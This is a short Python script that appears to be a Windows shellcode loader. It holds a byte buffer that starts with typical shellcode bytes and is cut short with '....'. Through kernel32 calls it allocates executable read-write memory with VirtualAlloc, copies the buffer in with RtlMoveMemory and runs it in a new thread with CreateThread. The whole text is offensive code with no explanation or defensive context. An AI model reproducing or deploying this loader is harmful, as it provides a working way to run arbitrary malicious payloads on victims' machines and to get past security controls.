import ctypes import sys from ctypes import *
buf = b"" buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51" ....
PAGE_EXECUTE_READWRITE = 0x00000040 VIRTUAL_MEM = (0x1000 | 0x2000) buf_arr = bytearray(buf) buf_size = len(buf_arr) kernel32 = ctypes.cdll.LoadLibrary("kernel32.dll") kernel32.VirtualAlloc.restype = ctypes.c_uint64 sc_ptr = kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(buf_size), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) buf_ptr = (ctypes.c_char * buf_size).from_buffer(buf_arr)
kernel32.RtlMoveMemory(ctypes.c_uint64(sc_ptr), buf_ptr, ctypes.c_int(buf_size))
handle = kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(sc_ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
|